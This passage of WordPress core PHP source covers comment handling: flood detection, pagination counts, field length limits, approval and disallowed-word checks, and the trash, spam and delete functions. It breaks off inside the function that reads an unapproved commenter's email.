		 * @param int  $time_lastcomment Timestamp of when the last comment was posted.
		 * @param int  $time_newcomment  Timestamp of when the new comment was posted.
		 */
		$flood_die = apply_filters( 'comment_flood_filter', false, $time_lastcomment, $time_newcomment );

		if ( $flood_die ) {
			/**
			 * Fires before the comment flood message is triggered.
			 *
			 * @since 1.5.0
			 *
			 * @param int $time_lastcomment Timestamp of when the last comment was posted.
			 * @param int $time_newcomment  Timestamp of when the new comment was posted.
			 */
			do_action( 'comment_flood_trigger', $time_lastcomment, $time_newcomment );

			if ( $avoid_die ) {
				return true;
			} else {
				/**
				 * Filters the comment flood error message.
				 *
				 * @since 5.2.0
				 *
				 * @param string $comment_flood_message Comment flood error message.
				 */
				$comment_flood_message = apply_filters( 'comment_flood_message', __( 'You are posting comments too quickly. Slow down.' ) );

				if ( wp_doing_ajax() ) {
					die( $comment_flood_message );
				}

				wp_die( $comment_flood_message, 429 );
			}
		}
	}

	return false;
}

/**
 * Separates an array of comments into an array keyed by comment_type.
 *
 * @since 2.7.0
 *
 * @param WP_Comment[] $comments Array of comments
 * @return WP_Comment[] Array of comments keyed by comment_type.
 */
function separate_comments( &$comments ) {
	$comments_by_type = array(
		'comment'   => array(),
		'trackback' => array(),
		'pingback'  => array(),
		'pings'     => array(),
	);

	$count = count( $comments );

	for ( $i = 0; $i < $count; $i++ ) {
		$type = $comments[ $i ]->comment_type;

		if ( empty( $type ) ) {
			$type = 'comment';
		}

		$comments_by_type[ $type ][] = &$comments[ $i ];

		if ( 'trackback' === $type || 'pingback' === $type ) {
			$comments_by_type['pings'][] = &$comments[ $i ];
		}
	}

	return $comments_by_type;
}

/**
 * Calculates the total number of comment pages.
 *
 * @since 2.7.0
 *
 * @uses Walker_Comment
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param WP_Comment[] $comments Optional. Array of WP_Comment objects. Defaults to `$wp_query->comments`.
 * @param int          $per_page Optional. Comments per page. Defaults to the value of `comments_per_page`
 *                               query var, option of the same name, or 1 (in that order).
 * @param bool         $threaded Optional. Control over flat or threaded comments. Defaults to the value
 *                               of `thread_comments` option.
 * @return int Number of comment pages.
 */
function get_comment_pages_count( $comments = null, $per_page = null, $threaded = null ) {
	global $wp_query;

	if ( null === $comments && null === $per_page && null === $threaded && ! empty( $wp_query->max_num_comment_pages ) ) {
		return $wp_query->max_num_comment_pages;
	}

	if ( ( ! $comments || ! is_array( $comments ) ) && ! empty( $wp_query->comments ) ) {
		$comments = $wp_query->comments;
	}

	if ( empty( $comments ) ) {
		return 0;
	}

	if ( ! get_option( 'page_comments' ) ) {
		return 1;
	}

	if ( ! isset( $per_page ) ) {
		$per_page = (int) get_query_var( 'comments_per_page' );
	}
	if ( 0 === $per_page ) {
		$per_page = (int) get_option( 'comments_per_page' );
	}
	if ( 0 === $per_page ) {
		return 1;
	}

	if ( ! isset( $threaded ) ) {
		$threaded = get_option( 'thread_comments' );
	}

	if ( $threaded ) {
		$walker = new Walker_Comment();
		$count  = ceil( $walker->get_number_of_root_elements( $comments ) / $per_page );
	} else {
		$count = ceil( count( $comments ) / $per_page );
	}

	return (int) $count;
}

/**
 * Calculates what page number a comment will appear on for comment paging.
 *
 * @since 2.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $comment_id Comment ID.
 * @param array $args {
 *     Array of optional arguments.
 *
 *     @type string     $type      Limit paginated comments to those matching a given type.
 *                                 Accepts 'comment', 'trackback', 'pingback', 'pings'
 *                                 (trackbacks and pingbacks), or 'all'. Default 'all'.
 *     @type int        $per_page  Per-page count to use when calculating pagination.
 *                                 Defaults to the value of the 'comments_per_page' option.
 *     @type int|string $max_depth If greater than 1, comment page will be determined
 *                                 for the top-level parent `$comment_id`.
 *                                 Defaults to the value of the 'thread_comments_depth' option.
 * }
 * @return int|null Comment page number or null on error.
 */
function get_page_of_comment( $comment_id, $args = array() ) {
	global $wpdb;

	$page = null;

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return;
	}

	$defaults      = array(
		'type'      => 'all',
		'page'      => '',
		'per_page'  => '',
		'max_depth' => '',
	);
	$args          = wp_parse_args( $args, $defaults );
	$original_args = $args;

	// Order of precedence: 1. `$args['per_page']`, 2. 'comments_per_page' query_var, 3. 'comments_per_page' option.
	if ( get_option( 'page_comments' ) ) {
		if ( '' === $args['per_page'] ) {
			$args['per_page'] = get_query_var( 'comments_per_page' );
		}

		if ( '' === $args['per_page'] ) {
			$args['per_page'] = get_option( 'comments_per_page' );
		}
	}

	if ( empty( $args['per_page'] ) ) {
		$args['per_page'] = 0;
		$args['page']     = 0;
	}

	if ( $args['per_page'] < 1 ) {
		$page = 1;
	}

	if ( null === $page ) {
		if ( '' === $args['max_depth'] ) {
			if ( get_option( 'thread_comments' ) ) {
				$args['max_depth'] = get_option( 'thread_comments_depth' );
			} else {
				$args['max_depth'] = -1;
			}
		}

		// Find this comment's top-level parent if threading is enabled.
		if ( $args['max_depth'] > 1 && '0' !== $comment->comment_parent ) {
			return get_page_of_comment( $comment->comment_parent, $args );
		}

		$comment_args = array(
			'type'       => $args['type'],
			'post_id'    => $comment->comment_post_ID,
			'fields'     => 'ids',
			'count'      => true,
			'status'     => 'approve',
			'orderby'    => 'none',
			'parent'     => 0,
			'date_query' => array(
				array(
					'column' => "$wpdb->comments.comment_date_gmt",
					'before' => $comment->comment_date_gmt,
				),
			),
		);

		if ( is_user_logged_in() ) {
			$comment_args['include_unapproved'] = array( get_current_user_id() );
		} else {
			$unapproved_email = wp_get_unapproved_comment_author_email();

			if ( $unapproved_email ) {
				$comment_args['include_unapproved'] = array( $unapproved_email );
			}
		}

		/**
		 * Filters the arguments used to query comments in get_page_of_comment().
		 *
		 * @since 5.5.0
		 *
		 * @see WP_Comment_Query::__construct()
		 *
		 * @param array $comment_args {
		 *     Array of WP_Comment_Query arguments.
		 *
		 *     @type string $type               Limit paginated comments to those matching a given type.
		 *                                      Accepts 'comment', 'trackback', 'pingback', 'pings'
		 *                                      (trackbacks and pingbacks), or 'all'. Default 'all'.
		 *     @type int    $post_id            ID of the post.
		 *     @type string $fields             Comment fields to return.
		 *     @type bool   $count              Whether to return a comment count (true) or array
		 *                                      of comment objects (false).
		 *     @type string $status             Comment status.
		 *     @type int    $parent             Parent ID of comment to retrieve children of.
		 *     @type array  $date_query         Date query clauses to limit comments by. See WP_Date_Query.
		 *     @type array  $include_unapproved Array of IDs or email addresses whose unapproved comments
		 *                                      will be included in paginated comments.
		 * }
		 */
		$comment_args = apply_filters( 'get_page_of_comment_query_args', $comment_args );

		$comment_query       = new WP_Comment_Query();
		$older_comment_count = $comment_query->query( $comment_args );

		// No older comments? Then it's page #1.
		if ( 0 === $older_comment_count ) {
			$page = 1;

			// Divide comments older than this one by comments per page to get this comment's page number.
		} else {
			$page = (int) ceil( ( $older_comment_count + 1 ) / $args['per_page'] );
		}
	}

	/**
	 * Filters the calculated page on which a comment appears.
	 *
	 * @since 4.4.0
	 * @since 4.7.0 Introduced the `$comment_id` parameter.
	 *
	 * @param int   $page          Comment page.
	 * @param array $args {
	 *     Arguments used to calculate pagination. These include arguments auto-detected by the function,
	 *     based on query vars, system settings, etc. For pristine arguments passed to the function,
	 *     see `$original_args`.
	 *
	 *     @type string $type      Type of comments to count.
	 *     @type int    $page      Calculated current page.
	 *     @type int    $per_page  Calculated number of comments per page.
	 *     @type int    $max_depth Maximum comment threading depth allowed.
	 * }
	 * @param array $original_args {
	 *     Array of arguments passed to the function. Some or all of these may not be set.
	 *
	 *     @type string $type      Type of comments to count.
	 *     @type int    $page      Current comment page.
	 *     @type int    $per_page  Number of comments per page.
	 *     @type int    $max_depth Maximum comment threading depth allowed.
	 * }
	 * @param int $comment_id ID of the comment.
	 */
	return apply_filters( 'get_page_of_comment', (int) $page, $args, $original_args, $comment_id );
}

/**
 * Retrieves the maximum character lengths for the comment form fields.
 *
 * @since 4.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return int[] Array of maximum lengths keyed by field name.
 */
function wp_get_comment_fields_max_lengths() {
	global $wpdb;

	$lengths = array(
		'comment_author'       => 245,
		'comment_author_email' => 100,
		'comment_author_url'   => 200,
		'comment_content'      => 65525,
	);

	if ( $wpdb->is_mysql ) {
		foreach ( $lengths as $column => $length ) {
			$col_length = $wpdb->get_col_length( $wpdb->comments, $column );
			$max_length = 0;

			// No point if we can't get the DB column lengths.
			if ( is_wp_error( $col_length ) ) {
				break;
			}

			if ( ! is_array( $col_length ) && (int) $col_length > 0 ) {
				$max_length = (int) $col_length;
			} elseif ( is_array( $col_length ) && isset( $col_length['length'] ) && (int) $col_length['length'] > 0 ) {
				$max_length = (int) $col_length['length'];

				if ( ! empty( $col_length['type'] ) && 'byte' === $col_length['type'] ) {
					$max_length = $max_length - 10;
				}
			}

			if ( $max_length > 0 ) {
				$lengths[ $column ] = $max_length;
			}
		}
	}

	/**
	 * Filters the lengths for the comment form fields.
	 *
	 * @since 4.5.0
	 *
	 * @param int[] $lengths Array of maximum lengths keyed by field name.
	 */
	return apply_filters( 'wp_get_comment_fields_max_lengths', $lengths );
}

/**
 * Compares the lengths of comment data against the maximum character limits.
 *
 * @since 4.7.0
 *
 * @param array $comment_data Array of arguments for inserting a comment.
 * @return WP_Error|true WP_Error when a comment field exceeds the limit,
 *                       otherwise true.
 */
function wp_check_comment_data_max_lengths( $comment_data ) {
	$max_lengths = wp_get_comment_fields_max_lengths();

	if ( isset( $comment_data['comment_author'] ) && mb_strlen( $comment_data['comment_author'], '8bit' ) > $max_lengths['comment_author'] ) {
		return new WP_Error( 'comment_author_column_length', __( '<strong>Error:</strong> Your name is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_author_email'] ) && strlen( $comment_data['comment_author_email'] ) > $max_lengths['comment_author_email'] ) {
		return new WP_Error( 'comment_author_email_column_length', __( '<strong>Error:</strong> Your email address is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_author_url'] ) && strlen( $comment_data['comment_author_url'] ) > $max_lengths['comment_author_url'] ) {
		return new WP_Error( 'comment_author_url_column_length', __( '<strong>Error:</strong> Your URL is too long.' ), 200 );
	}

	if ( isset( $comment_data['comment_content'] ) && mb_strlen( $comment_data['comment_content'], '8bit' ) > $max_lengths['comment_content'] ) {
		return new WP_Error( 'comment_content_column_length', __( '<strong>Error:</strong> Your comment is too long.' ), 200 );
	}

	return true;
}

/**
 * Checks whether comment data passes internal checks or has disallowed content.
 *
 * @since 6.7.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $comment_data Array of arguments for inserting a comment.
 * @return int|string|WP_Error The approval status on success (0|1|'spam'|'trash'),
 *                             WP_Error otherwise.
 */
function wp_check_comment_data( $comment_data ) {
	global $wpdb;

	if ( ! empty( $comment_data['user_id'] ) ) {
		$user        = get_userdata( $comment_data['user_id'] );
		$post_author = (int) $wpdb->get_var(
			$wpdb->prepare(
				"SELECT post_author FROM $wpdb->posts WHERE ID = %d LIMIT 1",
				$comment_data['comment_post_ID']
			)
		);
	}

	if ( isset( $user ) && ( $comment_data['user_id'] === $post_author || $user->has_cap( 'moderate_comments' ) ) ) {
		// The author and the admins get respect.
		$approved = 1;
	} else {
		// Everyone else's comments will be checked.
		if ( check_comment(
			$comment_data['comment_author'],
			$comment_data['comment_author_email'],
			$comment_data['comment_author_url'],
			$comment_data['comment_content'],
			$comment_data['comment_author_IP'],
			$comment_data['comment_agent'],
			$comment_data['comment_type']
		) ) {
			$approved = 1;
		} else {
			$approved = 0;
		}

		if ( wp_check_comment_disallowed_list(
			$comment_data['comment_author'],
			$comment_data['comment_author_email'],
			$comment_data['comment_author_url'],
			$comment_data['comment_content'],
			$comment_data['comment_author_IP'],
			$comment_data['comment_agent']
		) ) {
			$approved = EMPTY_TRASH_DAYS ? 'trash' : 'spam';
		}
	}

	/**
	 * Filters a comment's approval status before it is set.
	 *
	 * @since 2.1.0
	 * @since 4.9.0 Returning a WP_Error value from the filter will short-circuit comment insertion
	 *              and allow skipping further processing.
	 *
	 * @param int|string|WP_Error $approved    The approval status. Accepts 1, 0, 'spam', 'trash',
	 *                                         or WP_Error.
	 * @param array               $commentdata Comment data.
	 */
	return apply_filters( 'pre_comment_approved', $approved, $comment_data );
}

/**
 * Checks if a comment contains disallowed characters or words.
 *
 * @since 5.5.0
 *
 * @param string $author     The author of the comment.
 * @param string $email      The email of the comment.
 * @param string $url        The url used in the comment.
 * @param string $comment    The comment content.
 * @param string $user_ip    The comment author's IP address.
 * @param string $user_agent The author's browser user agent.
 * @return bool True if the comment contains disallowed content, false otherwise.
 */
function wp_check_comment_disallowed_list( $author, $email, $url, $comment, $user_ip, $user_agent ) {
	/**
	 * Fires before the comment is tested for disallowed characters or words.
	 *
	 * @since 1.5.0
	 * @deprecated 5.5.0 Use {@see 'wp_check_comment_disallowed_list'} instead.
	 *
	 * @param string $author     Comment author.
	 * @param string $email      Comment author's email.
	 * @param string $url        Comment author's URL.
	 * @param string $comment    Comment content.
	 * @param string $user_ip    Comment author's IP address.
	 * @param string $user_agent Comment author's browser user agent.
	 */
	do_action_deprecated(
		'wp_blacklist_check',
		array( $author, $email, $url, $comment, $user_ip, $user_agent ),
		'5.5.0',
		'wp_check_comment_disallowed_list',
		__( 'Please consider writing more inclusive code.' )
	);

	/**
	 * Fires before the comment is tested for disallowed characters or words.
	 *
	 * @since 5.5.0
	 *
	 * @param string $author     Comment author.
	 * @param string $email      Comment author's email.
	 * @param string $url        Comment author's URL.
	 * @param string $comment    Comment content.
	 * @param string $user_ip    Comment author's IP address.
	 * @param string $user_agent Comment author's browser user agent.
	 */
	do_action( 'wp_check_comment_disallowed_list', $author, $email, $url, $comment, $user_ip, $user_agent );

	$mod_keys = trim( get_option( 'disallowed_keys' ) );
	if ( '' === $mod_keys ) {
		return false; // If moderation keys are empty.
	}

	// Ensure HTML tags are not being used to bypass the list of disallowed characters and words.
	$comment_without_html = wp_strip_all_tags( $comment );

	$words = explode( "\n", $mod_keys );

	foreach ( (array) $words as $word ) {
		$word = trim( $word );

		// Skip empty lines.
		if ( empty( $word ) ) {
			continue; }

		// Do some escaping magic so that '#' chars in the spam words don't break things:
		$word = preg_quote( $word, '#' );

		$pattern = "#$word#iu";
		if ( preg_match( $pattern, $author )
			|| preg_match( $pattern, $email )
			|| preg_match( $pattern, $url )
			|| preg_match( $pattern, $comment )
			|| preg_match( $pattern, $comment_without_html )
			|| preg_match( $pattern, $user_ip )
			|| preg_match( $pattern, $user_agent )
		) {
			return true;
		}
	}
	return false;
}

/**
 * Retrieves the total comment counts for the whole site or a single post.
 *
 * The comment stats are cached and then retrieved, if they already exist in the
 * cache.
 *
 * @see get_comment_count() Which handles fetching the live comment counts.
 *
 * @since 2.5.0
 *
 * @param int $post_id Optional. Restrict the comment counts to the given post. Default 0, which indicates that
 *                     comment counts for the whole site will be retrieved.
 * @return stdClass {
 *     The number of comments keyed by their status.
 *
 *     @type int $approved       The number of approved comments.
 *     @type int $moderated      The number of comments awaiting moderation (a.k.a. pending).
 *     @type int $spam           The number of spam comments.
 *     @type int $trash          The number of trashed comments.
 *     @type int $post-trashed   The number of comments for posts that are in the trash.
 *     @type int $total_comments The total number of non-trashed comments, including spam.
 *     @type int $all            The total number of pending or approved comments.
 * }
 */
function wp_count_comments( $post_id = 0 ) {
	$post_id = (int) $post_id;

	/**
	 * Filters the comments count for a given post or the whole site.
	 *
	 * @since 2.7.0
	 *
	 * @param array|stdClass $count   An empty array or an object containing comment counts.
	 * @param int            $post_id The post ID. Can be 0 to represent the whole site.
	 */
	$filtered = apply_filters( 'wp_count_comments', array(), $post_id );
	if ( ! empty( $filtered ) ) {
		return $filtered;
	}

	$count = wp_cache_get( "comments-{$post_id}", 'counts' );
	if ( false !== $count ) {
		return $count;
	}

	$stats              = get_comment_count( $post_id );
	$stats['moderated'] = $stats['awaiting_moderation'];
	unset( $stats['awaiting_moderation'] );

	$stats_object = (object) $stats;
	wp_cache_set( "comments-{$post_id}", $stats_object, 'counts' );

	return $stats_object;
}

/**
 * Trashes or deletes a comment.
 *
 * The comment is moved to Trash instead of permanently deleted unless Trash is
 * disabled, item is already in the Trash, or $force_delete is true.
 *
 * The post comment count will be updated if the comment was approved and has a
 * post ID available.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int|WP_Comment $comment_id   Comment ID or WP_Comment object.
 * @param bool           $force_delete Whether to bypass Trash and force deletion. Default false.
 * @return bool True on success, false on failure.
 */
function wp_delete_comment( $comment_id, $force_delete = false ) {
	global $wpdb;

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	if ( ! $force_delete && EMPTY_TRASH_DAYS && ! in_array( wp_get_comment_status( $comment ), array( 'trash', 'spam' ), true ) ) {
		return wp_trash_comment( $comment_id );
	}

	/**
	 * Fires immediately before a comment is deleted from the database.
	 *
	 * @since 1.2.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be deleted.
	 */
	do_action( 'delete_comment', $comment->comment_ID, $comment );

	// Move children up a level.
	$children = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_parent = %d", $comment->comment_ID ) );
	if ( ! empty( $children ) ) {
		$wpdb->update( $wpdb->comments, array( 'comment_parent' => $comment->comment_parent ), array( 'comment_parent' => $comment->comment_ID ) );
		clean_comment_cache( $children );
	}

	// Delete metadata.
	$meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->commentmeta WHERE comment_id = %d", $comment->comment_ID ) );
	foreach ( $meta_ids as $mid ) {
		delete_metadata_by_mid( 'comment', $mid );
	}

	if ( ! $wpdb->delete( $wpdb->comments, array( 'comment_ID' => $comment->comment_ID ) ) ) {
		return false;
	}

	/**
	 * Fires immediately after a comment is deleted from the database.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The deleted comment.
	 */
	do_action( 'deleted_comment', $comment->comment_ID, $comment );

	$post_id = $comment->comment_post_ID;
	if ( $post_id && '1' === $comment->comment_approved ) {
		wp_update_comment_count( $post_id );
	}

	clean_comment_cache( $comment->comment_ID );

	/** This action is documented in wp-includes/comment.php */
	do_action( 'wp_set_comment_status', $comment->comment_ID, 'delete' );

	wp_transition_comment_status( 'delete', $comment->comment_approved, $comment );

	return true;
}

/**
 * Moves a comment to the Trash
 *
 * If Trash is disabled, comment is permanently deleted.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_trash_comment( $comment_id ) {
	if ( ! EMPTY_TRASH_DAYS ) {
		return wp_delete_comment( $comment_id, true );
	}

	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is sent to the Trash.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be trashed.
	 */
	do_action( 'trash_comment', $comment->comment_ID, $comment );

	if ( wp_set_comment_status( $comment, 'trash' ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );

		/**
		 * Fires immediately after a comment is sent to Trash.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The trashed comment.
		 */
		do_action( 'trashed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Removes a comment from the Trash
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_untrash_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is restored from the Trash.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be untrashed.
	 */
	do_action( 'untrash_comment', $comment->comment_ID, $comment );

	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
	if ( empty( $status ) ) {
		$status = '0';
	}

	if ( wp_set_comment_status( $comment, $status ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );

		/**
		 * Fires immediately after a comment is restored from the Trash.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The untrashed comment.
		 */
		do_action( 'untrashed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Marks a comment as Spam.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_spam_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is marked as Spam.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param int        $comment_id The comment ID.
	 * @param WP_Comment $comment    The comment to be marked as spam.
	 */
	do_action( 'spam_comment', $comment->comment_ID, $comment );

	if ( wp_set_comment_status( $comment, 'spam' ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', $comment->comment_approved );
		add_comment_meta( $comment->comment_ID, '_wp_trash_meta_time', time() );

		/**
		 * Fires immediately after a comment is marked as Spam.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param int        $comment_id The comment ID.
		 * @param WP_Comment $comment    The comment marked as spam.
		 */
		do_action( 'spammed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Removes a comment from the Spam.
 *
 * @since 2.9.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object.
 * @return bool True on success, false on failure.
 */
function wp_unspam_comment( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	/**
	 * Fires immediately before a comment is unmarked as Spam.
	 *
	 * @since 2.9.0
	 * @since 4.9.0 Added the `$comment` parameter.
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    The comment to be unmarked as spam.
	 */
	do_action( 'unspam_comment', $comment->comment_ID, $comment );

	$status = (string) get_comment_meta( $comment->comment_ID, '_wp_trash_meta_status', true );
	if ( empty( $status ) ) {
		$status = '0';
	}

	if ( wp_set_comment_status( $comment, $status ) ) {
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_status' );
		delete_comment_meta( $comment->comment_ID, '_wp_trash_meta_time' );

		/**
		 * Fires immediately after a comment is unmarked as Spam.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 Added the `$comment` parameter.
		 *
		 * @param string     $comment_id The comment ID as a numeric string.
		 * @param WP_Comment $comment    The comment unmarked as spam.
		 */
		do_action( 'unspammed_comment', $comment->comment_ID, $comment );

		return true;
	}

	return false;
}

/**
 * Retrieves the status of a comment by comment ID.
 *
 * @since 1.0.0
 *
 * @param int|WP_Comment $comment_id Comment ID or WP_Comment object
 * @return string|false Status might be 'trash', 'approved', 'unapproved', 'spam'. False on failure.
 */
function wp_get_comment_status( $comment_id ) {
	$comment = get_comment( $comment_id );
	if ( ! $comment ) {
		return false;
	}

	$approved = $comment->comment_approved;

	if ( null === $approved ) {
		return false;
	} elseif ( '1' === $approved ) {
		return 'approved';
	} elseif ( '0' === $approved ) {
		return 'unapproved';
	} elseif ( 'spam' === $approved ) {
		return 'spam';
	} elseif ( 'trash' === $approved ) {
		return 'trash';
	} else {
		return false;
	}
}

/**
 * Calls hooks for when a comment status transition occurs.
 *
 * Calls hooks for comment status transitions. If the new comment status is not the same
 * as the previous comment status, then two hooks will be ran, the first is
 * {@see 'transition_comment_status'} with new status, old status, and comment data.
 * The next action called is {@see 'comment_$old_status_to_$new_status'}. It has
 * the comment data.
 *
 * The final action will run whether or not the comment statuses are the same.
 * The action is named {@see 'comment_$new_status_$comment->comment_type'}.
 *
 * @since 2.7.0
 *
 * @param string     $new_status New comment status.
 * @param string     $old_status Previous comment status.
 * @param WP_Comment $comment    Comment object.
 */
function wp_transition_comment_status( $new_status, $old_status, $comment ) {
	/*
	 * Translate raw statuses to human-readable formats for the hooks.
	 * This is not a complete list of comment status, it's only the ones
	 * that need to be renamed.
	 */
	$comment_statuses = array(
		0         => 'unapproved',
		'hold'    => 'unapproved', // wp_set_comment_status() uses "hold".
		1         => 'approved',
		'approve' => 'approved',   // wp_set_comment_status() uses "approve".
	);
	if ( isset( $comment_statuses[ $new_status ] ) ) {
		$new_status = $comment_statuses[ $new_status ];
	}
	if ( isset( $comment_statuses[ $old_status ] ) ) {
		$old_status = $comment_statuses[ $old_status ];
	}

	// Call the hooks.
	if ( $new_status !== $old_status ) {
		/**
		 * Fires when the comment status is in transition.
		 *
		 * @since 2.7.0
		 *
		 * @param string     $new_status The new comment status.
		 * @param string     $old_status The old comment status.
		 * @param WP_Comment $comment    Comment object.
		 */
		do_action( 'transition_comment_status', $new_status, $old_status, $comment );

		/**
		 * Fires when the comment status is in transition from one specific status to another.
		 *
		 * The dynamic portions of the hook name, `$old_status`, and `$new_status`,
		 * refer to the old and new comment statuses, respectively.
		 *
		 * Possible hook names include:
		 *
		 *  - `comment_unapproved_to_approved`
		 *  - `comment_spam_to_approved`
		 *  - `comment_approved_to_unapproved`
		 *  - `comment_spam_to_unapproved`
		 *  - `comment_unapproved_to_spam`
		 *  - `comment_approved_to_spam`
		 *
		 * @since 2.7.0
		 *
		 * @param WP_Comment $comment Comment object.
		 */
		do_action( "comment_{$old_status}_to_{$new_status}", $comment );
	}
	/**
	 * Fires when the status of a specific comment type is in transition.
	 *
	 * The dynamic portions of the hook name, `$new_status`, and `$comment->comment_type`,
	 * refer to the new comment status, and the type of comment, respectively.
	 *
	 * Typical comment types include 'comment', 'pingback', or 'trackback'.
	 *
	 * Possible hook names include:
	 *
	 *  - `comment_approved_comment`
	 *  - `comment_approved_pingback`
	 *  - `comment_approved_trackback`
	 *  - `comment_unapproved_comment`
	 *  - `comment_unapproved_pingback`
	 *  - `comment_unapproved_trackback`
	 *  - `comment_spam_comment`
	 *  - `comment_spam_pingback`
	 *  - `comment_spam_trackback`
	 *
	 * @since 2.7.0
	 *
	 * @param string     $comment_id The comment ID as a numeric string.
	 * @param WP_Comment $comment    Comment object.
	 */
	do_action( "comment_{$new_status}_{$comment->comment_type}", $comment->comment_ID, $comment );
}

/**
 * Clears the lastcommentmodified cached value when a comment status is changed.
 *
 * Deletes the lastcommentmodified cache key when a comment enters or leaves
 * 'approved' status.
 *
 * @since 4.7.0
 * @access private
 *
 * @param string $new_status The new comment status.
 * @param string $old_status The old comment status.
 */
function _clear_modified_cache_on_transition_comment_status( $new_status, $old_status ) {
	if ( 'approved' === $new_status || 'approved' === $old_status ) {
		$data = array();
		foreach ( array( 'server', 'gmt', 'blog' ) as $timezone ) {
			$data[] = "lastcommentmodified:$timezone";
		}
		wp_cache_delete_multiple( $data, 'timeinfo' );
	}
}

/**
 * Gets current commenter's name, email, and URL.
 *
 * Expects cookies content to already be sanitized. User of this function might
 * wish to recheck the returned array for validity.
 *
 * @see sanitize_comment_cookies() Use to sanitize cookies
 *
 * @since 2.0.4
 *
 * @return array {
 *     An array of current commenter variables.
 *
 *     @type string $comment_author       The name of the current commenter, or an empty string.
 *     @type string $comment_author_email The email address of the current commenter, or an empty string.
 *     @type string $comment_author_url   The URL address of the current commenter, or an empty string.
 * }
 */
function wp_get_current_commenter() {
	// Cookies should already be sanitized.

	$comment_author = '';
	if ( isset( $_COOKIE[ 'comment_author_' . COOKIEHASH ] ) ) {
		$comment_author = $_COOKIE[ 'comment_author_' . COOKIEHASH ];
	}

	$comment_author_email = '';
	if ( isset( $_COOKIE[ 'comment_author_email_' . COOKIEHASH ] ) ) {
		$comment_author_email = $_COOKIE[ 'comment_author_email_' . COOKIEHASH ];
	}

	$comment_author_url = '';
	if ( isset( $_COOKIE[ 'comment_author_url_' . COOKIEHASH ] ) ) {
		$comment_author_url = $_COOKIE[ 'comment_author_url_' . COOKIEHASH ];
	}

	/**
	 * Filters the current commenter's name, email, and URL.
	 *
	 * @since 3.1.0
	 *
	 * @param array $comment_author_data {
	 *     An array of current commenter variables.
	 *
	 *     @type string $comment_author       The name of the current commenter, or an empty string.
	 *     @type string $comment_author_email The email address of the current commenter, or an empty string.
	 *     @type string $comment_author_url   The URL address of the current commenter, or an empty string.
	 * }
	 */
	return apply_filters( 'wp_get_current_commenter', compact( 'comment_author', 'comment_author_email', 'comment_author_url' ) );
}

/**
 * Gets unapproved comment author's email.
 *
 * Used to allow the commenter to see their pending comment.
 *
 * @since 5.1.0
 * @since 5.7.0 The window within which the author email for an unapproved comment
 *              can be retrieved was extended to 10 minutes.
 *
 * @return string The unapproved comment author's email (when supplied).
 */
function wp_get_unapproved_comment_author_email() {
	$commenter_email = '';

